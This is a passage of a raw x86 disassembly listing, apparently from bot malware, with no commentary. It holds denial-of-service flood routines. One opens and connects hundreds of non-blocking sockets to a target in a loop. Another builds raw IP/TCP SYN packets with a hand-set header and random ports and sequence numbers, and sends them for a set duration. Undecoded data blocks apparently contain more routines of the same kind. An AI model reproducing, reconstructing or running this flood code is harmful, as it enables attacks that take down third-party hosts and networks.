		call	dword_4CB5AC
		mov	eax, ebx


loc_412E3C:				; CODE XREF: sub_412B09+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B09	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B09
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8F
		push	1
		pop	eax


loc_412E8F:				; CODE XREF: ___:00412E8Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_412E9E	dw 8B55h		; DATA XREF: sub_401ACD+6722o
		dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFE44h, 685B016Ah, 0FFh,	0A5F3036Ah, 9889026Ah
		dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
		dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h
		dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh,	8D50D875h
		dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
		dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
		dd 90575959h, 2BD0C7E8h, 0F44D8D02h, 3351046Ah,	57026AFFh
		dd 0F45D8950h, 0B63415FFh
		db 4Ch,	0
word_412F4E	dw 0F883h		; DATA XREF: ___:off_43A86Co
		dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h
		dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
		dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22BD050h, 0FE48858Dh
		dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
		dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh,	8D572075h
		dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
		dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h,	21A7E850h
		dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0E9E89057h,	6A022BCFh
		dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
		dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h,	15FF50FFh
		dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
		dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
		dd 194h, 41C68h, 0C805C600h, 45004CE3h,	0B65415FFh, 7D39004Ch
		dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh
		dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh
		dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
		dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
		dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
		dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h
		dd 0E8004CE3h, 87E2h, 100B999h,	0F9F70000h, 0E3DC1588h
		dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h
		dd 87BCE800h, 0B9990000h, 0F0h,	40068h,	66F9F700h, 0E3DE3D89h
		dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h
		dd 0B9990000h, 0FFh, 6852F9F7h,	4CE3E4h, 842FE8h, 0CC48300h
		dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFE4885h, 875FFFFh
		dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
		dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
		dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
		dd 59FFFF82h, 1E85759h,	90022BCEh, 0FFFC75FFh, 4CB6EC15h
		dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h,	14E9C1D0h
		dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
		dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 0E8575959h
		dd 22BCD7Ch
		db 90h
byte_413285	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5510o
		dd 10320B8h, 888EE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h,	15FF0000h
		dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h
		dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
		dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
		dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h
		dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
		dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h,	858D14C4h
		dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h,	5959FFFFh
		dd 0BDE89057h, 3B022BCCh, 8B0C74C3h, 8B0C40h, 4589008Bh
		dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
		dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h,	7D39C445h
		dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
		dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
		dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h,	4CB70Ch
		dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h
		dd 84BAh, 390CC483h, 2075D85Dh,	0BC858D53h, 0FFFFFFFCh
		dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
		dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
		dd 0FFFF800Bh, 90535959h, 2BCBEFE8h
		db 2
byte_413411	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+575Co
		dd 10310B8h, 8702E800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h,	0FBE80000h
		dd 900226D3h, 8492E850h, 6A590000h, 6A026A11h, 0D415FF02h
		dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h,	83000081h
		dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h
		dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh,	0B6D815FFh
		dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
		dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
		dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
		dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
		dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 11E89056h, 8B022BCBh
		dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
		dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
		dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
		dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
		dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h,	838CE81Ah
		dd 0B9990000h, 0FFh, 3B46F9F7h,	9488D475h, 0FEFCEF35h
		dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
		dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
		dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 0D8F9E8D8h
		dd 4E900224h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
		dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh
		dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h
		dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
		dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
		dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h,	7DF5E8E0h
		dd 5959FFFFh, 0C9DAE857h
		db 2Bh,	2, 90h
byte_413627	db 55h			; DATA XREF: sub_401ACD+4DEDo
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
		dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
		dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
		dd 59FFFF7Dh, 3DE85659h, 90022BC9h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C6	proc near		; CODE XREF: ___:004137AFp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413784
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413711:				; CODE XREF: sub_4136C6+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413719:				; CODE XREF: sub_4136C6+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373C:				; CODE XREF: sub_4136C6+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413719
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41374A:				; CODE XREF: sub_4136C6+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41374A
		push	64h
		call	near ptr 2660E9Fh
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376E:				; CODE XREF: sub_4136C6+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376E
		dec	[ebp+arg_4]
		jnz	short loc_413711
		pop	edi
		pop	esi
		pop	ebx


loc_413784:				; CODE XREF: sub_4136C6+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C6	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C6
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BE
		push	1
		pop	eax


loc_4137BE:				; CODE XREF: ___:004137B9j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_4137CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+644Ao
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h,	858D500Ch
		dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h,	0CC483F6h
		dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh,	0FF70858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
		dd 2BC797E8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386C	proc near		; CODE XREF: ___:00413B5Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4138AC
		xor	eax, eax
		jmp	loc_413B1A
; ---------------------------------------------------------------------------


loc_4138AC:				; CODE XREF: sub_41386C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B12
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B08
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB654
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB654
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB654
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2760B3Ah
		nop
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 276090Dh
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413997:				; CODE XREF: sub_41386C+25Dj
					; sub_41386C+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 276090Dh
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B05
		jl	loc_413997
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B05
		jmp	loc_413997
; ---------------------------------------------------------------------------


loc_413ADC:				; CODE XREF: sub_41386C+247j
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43643C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_413B08
; ---------------------------------------------------------------------------


loc_413B05:				; CODE XREF: sub_41386C+25Bj
					; sub_41386C+269j
		mov	ebx, [ebp+arg_8]


loc_413B08:				; CODE XREF: sub_41386C+78j
					; sub_41386C+297j
		push	[ebp+var_C]
		call	dword_4CB6EC
		pop	esi


loc_413B12:				; CODE XREF: sub_41386C+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_413B1A:				; CODE XREF: sub_41386C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386C	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B69
		push	1
		pop	eax


loc_413B69:				; CODE XREF: ___:00413B64j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_413B78	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6E45o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h
		dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h,	0FFFFFFFCh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
		dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
		dd 0FFFF7803h, 90565959h, 2BC3E7E8h, 555E5F02h,	0EC81EC8Bh
		dd 98h,	6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
		dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
		dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
		dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
		dd 0C7000000h, 3AA045h,	5D890000h, 0B04589A4h, 0D47D8DABh
		dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
		dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
		dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h
		dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
		dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
		dd 4CB634h, 200BEh, 0D2E85600h,	8B000077h, 4270A83Dh, 45895900h
		dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
		dd 6885C766h, 2FFFFFFh,	5415FF00h, 66004CB6h, 0FF6A8589h
		dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h,	0F0C453Bh
		dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
		dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
		dd 0AC5589F9h, 7B69E8h,	0A4B99900h, 0C600001Fh,	0F745DC45h
		dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
		dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h,	4CB654h
		dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
		dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
		dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
		dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh,	8514h
		dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
		dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
		dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_413E36	dw 8B55h		; DATA XREF: sub_401ACD+53E9o
		dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh,	890E6AFFh
		dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
		dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
		dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h
		dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h,	79D5E8h
		dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
		dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
		dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
		dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 0C102E853h, 8D90022Bh
		dd 46ACC4Dh, 53026A51h,	0CC758950h, 0B63415FFh,	0F883004Ch
		dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h
		dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h,	8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
		dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 0E8535959h
		dd 22BC084h, 0C4858D90h, 50FFFFFDh, 0B69415FFh,	0F883004Ch
		dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h
		dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2BC013E8h, 8D106A02h
		dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
		dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh,	0B69415FFh
		dd 4589004Ch, 85D89C0h,	4589D7FFh, 2BD7FFD0h, 0D233D045h
		dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
		dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
		dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
		dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
		dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
		dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh,	59FFFF6Bh
		dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
		dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
		dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h
		dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h
		dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
		dd 42B28868h, 0EDE85000h, 59000077h, 7459C085h,	0F05D8909h
		dd 2F545C6h, 858D5CEBh,	0FFFFFE44h, 42B0C068h, 0CDE85000h
		dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h,	858D3CEBh
